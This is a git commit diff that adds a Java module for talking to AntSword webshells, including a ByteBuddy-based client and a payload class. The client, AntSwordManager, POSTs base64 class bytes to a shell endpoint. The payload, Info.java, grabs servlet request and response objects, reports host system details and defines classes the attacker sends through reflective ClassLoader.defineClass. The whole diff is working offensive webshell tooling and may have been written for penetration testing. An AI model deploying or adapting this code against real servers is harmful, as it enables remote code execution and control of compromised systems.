feat: support AntSword shell generate (#34)

tools/ant-sword/build.gradle

@@ -0,0 +1,33 @@
+plugins {
+    id "io.freefair.lombok" version "8.11"
+}
+
+group = 'com.reajason.javaweb.tools'
+version = rootProject.version
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
+}
+
+dependencies {
+    implementation project(":common")
+    implementation 'net.bytebuddy:byte-buddy'
+
+    implementation 'javax.servlet:javax.servlet-api'
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+
+    implementation 'com.squareup.okhttp3:okhttp'
+    implementation 'com.alibaba.fastjson2:fastjson2'
+    testImplementation platform('org.junit:junit-bom')
+    testImplementation 'org.junit.jupiter:junit-jupiter'
+}
+
+test {
+    useJUnitPlatform()
+}

tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java

@@ -0,0 +1,88 @@
+package com.reajason.javaweb.antsword;
+
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import lombok.Data;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.ClassFileVersion;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/23
+ */
+@Data
+public class AntSwordManager {
+    private final OkHttpClient client;
+    private String entrypoint;
+    private String pass;
+
+    private Map<String, String> headers = new HashMap<>();
+
+    public AntSwordManager() {
+        this.client = new OkHttpClient.Builder().build();
+    }
+
+    @SneakyThrows
+    public String getInfo() {
+        byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class)
+                .name(Utils.getRandomClassName(Info.class.getName()))
+                .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
+                .make().getBytes();
+        String base64String = Base64.getEncoder().encodeToString(bytes);
+        RequestBody requestBody = new FormBody.Builder()
+                .add(this.pass, base64String)
+                .add("j4677eff439969", "wO")
+                .build();
+        Request.Builder builder = new Request.Builder()
+                .url(this.entrypoint)
+                .post(requestBody)
+                .headers(Headers.of(this.headers));
+        try (Response response = client.newCall(builder.build()).execute()) {
+            return response.body().string();
+        } catch (Exception ignored) {
+        }
+        return "";
+    }
+
+    public static AntSwordManager.AntSwordManagerBuilder builder() {
+        return new AntSwordManager.AntSwordManagerBuilder();
+    }
+
+    public static class AntSwordManagerBuilder {
+        private final Map<String, String> headers = new HashMap<>();
+        private String entrypoint;
+        private String pass;
+
+        public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) {
+            this.entrypoint = entrypoint;
+            return this;
+        }
+
+        public AntSwordManager.AntSwordManagerBuilder pass(String pass) {
+            this.pass = pass;
+            return this;
+        }
+
+        public AntSwordManager.AntSwordManagerBuilder header(String key, String value) {
+            this.headers.put(key, value);
+            return this;
+        }
+
+        public AntSwordManager build() {
+            AntSwordManager manager = new AntSwordManager();
+            manager.setPass(pass);
+            manager.setEntrypoint(entrypoint);
+            Map<String, String> headers = new HashMap<>(16);
+            headers.put("Content-Type", "application/x-www-form-urlencoded");
+            headers.putAll(this.headers);
+            manager.setHeaders(headers);
+            return manager;
+        }
+    }
+}

tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java

@@ -0,0 +1,150 @@
+package com.reajason.javaweb.antsword;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.File;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+public class Info {
+    public HttpServletRequest request = null;
+    public HttpServletResponse response = null;
+    public String encoder = "base64";
+    public String cs = "UTF8";
+    public String randomPrefix = "2";
+    public String decoderClassdata;
+
+    public Info() {
+    }
+
+    public boolean equals(Object var1) {
+        this.parseObj(var1);
+        StringBuffer var2 = new StringBuffer();
+        String var3 = "2f9d7d";
+        String var4 = "2d5c21ab2c35";
+        String var5 = "j4677eff439969";
+
+        try {
+            this.response.setContentType("text/html");
+            this.request.setCharacterEncoding(this.cs);
+            this.response.setCharacterEncoding(this.cs);
+            this.decoderClassdata = this.decode(this.request.getParameter(var5));
+            var2.append(this.SysInfoCode());
+        } catch (Exception var8) {
+            var2.append("ERROR:// " + var8.toString());
+        }
+
+        try {
+            this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
+        } catch (Exception var7) {
+        }
+
+        return true;
+    }
+
+    String SysInfoCode() {
+        String var1 = System.getProperty("user.dir");
+        String var2 = System.getProperty("os.name");
+        String var3 = System.getProperty("user.name");
+        String var4 = this.WwwRootPathCode(var1);
+        return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3;
+    }
+
+    String WwwRootPathCode(String var1) {
+        StringBuilder var2 = new StringBuilder();
+        if (!var1.startsWith("/")) {
+            try {
+                File[] var3 = File.listRoots();
+
+                for(File var7 : var3) {
+                    var2.append(var7.toString(), 0, 2);
+                }
+            } catch (Exception var8) {
+                var2.append("/");
+            }
+        } else {
+            var2.append("/");
+        }
+
+        return var2.toString();
+    }
+
+    public void parseObj(Object var1) {
+        if (var1.getClass().isArray()) {
+            Object[] var2 = (Object[]) var1;
+            this.request = (HttpServletRequest)var2[0];
+            this.response = (HttpServletResponse)var2[1];
+        } else {
+            try {
+                Class var9 = Class.forName("javax.servlet.jsp.PageContext");
+                this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
+                this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
+            } catch (Exception var8) {
+                if (var1 instanceof HttpServletRequest) {
+                    this.request = (HttpServletRequest)var1;
+
+                    try {
+                        Field var3 = this.request.getClass().getDeclaredField("request");
+                        var3.setAccessible(true);
+                        HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
+                        Field var5 = var4.getClass().getDeclaredField("response");
+                        var5.setAccessible(true);
+                        this.response = (HttpServletResponse)var5.get(var4);
+                    } catch (Exception var7) {
+                        try {
+                            this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
+                        } catch (Exception var6) {
+                        }
+                    }
+                }
+            }
+        }
+
+    }
+
+    public String asoutput(String var1) {
+        try {
+            byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
+            Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+            var3.setAccessible(true);
+            Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
+            return var4.getConstructor(String.class).newInstance(var1).toString();
+        } catch (Exception var5) {
+            return var1;
+        }
+    }
+
+    String decode(String var1) throws Exception {
+        int var2 = 0;
+
+        try {
+            var2 = Integer.parseInt(this.randomPrefix);
+            var1 = var1.substring(var2);
+        } catch (Exception var4) {
+            var2 = 0;
+        }
+
+        return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
+    }
+
+    public byte[] Base64DecodeToByte(String var1) {
+        Object var2 = null;
+        String var3 = System.getProperty("java.version");
+
+        try {
+            byte[] var7;
+            if (var3.compareTo("1.9") >= 0) {
+                Class var4 = Class.forName("java.util.Base64");
+                Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
+                var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1);
+            } else {
+                Class var8 = Class.forName("sun.misc.BASE64Decoder");
+                var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1);
+            }
+
+            return var7;
+        } catch (Exception var6) {
+            return new byte[0];
+        }
+    }
+}

tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java

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+package com.reajason.javaweb.antsword;
+
+import java.util.Random;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+public class Utils {
+
+    public static String getRandomAlpha(int length) {
+        String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+        Random random = new Random();
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < length; ++i) {
+            int number = random.nextInt(52);
+            sb.append(str.charAt(number));
+        }
+
+        return sb.toString();
+    }
+
+    public static String getRandomClassName(String sourceName) {
+        String[] domainAs = new String[]{"com", "net", "org", "sun"};
+        String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
+        String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
+        String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
+        String className = getRandomAlpha((new Random()).nextInt(7) + 4);
+        className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
+        int domainAIndex = (new Random()).nextInt(4);
+        String domainA = domainAs[domainAIndex];
+        int randomSegments = (new Random()).nextInt(3) + 3;
+        if (randomSegments == 3) {
+            return domainA + "." + domainB + "." + className;
+        } else if (randomSegments == 4) {
+            return domainA + "." + domainB + "." + domainC + "." + className;
+        } else {
+            return domainA + "." + domainB + "." + domainC + "." + className;
+        }
+    }
+}

tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java

@@ -0,0 +1,20 @@
+package com.reajason.javaweb.antsword;
+
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/18
+ */
+class AntSwordManagerTest {
+
+    @Test
+    @Disabled("only for local test")
+    void test() {
+        AntSwordManager antSwordManager = AntSwordManager.builder()
+                .pass("ant")
+                .entrypoint("http://localhost:8082/app/ant.jsp").build();
+        System.out.println(antSwordManager.getInfo());
+    }
+}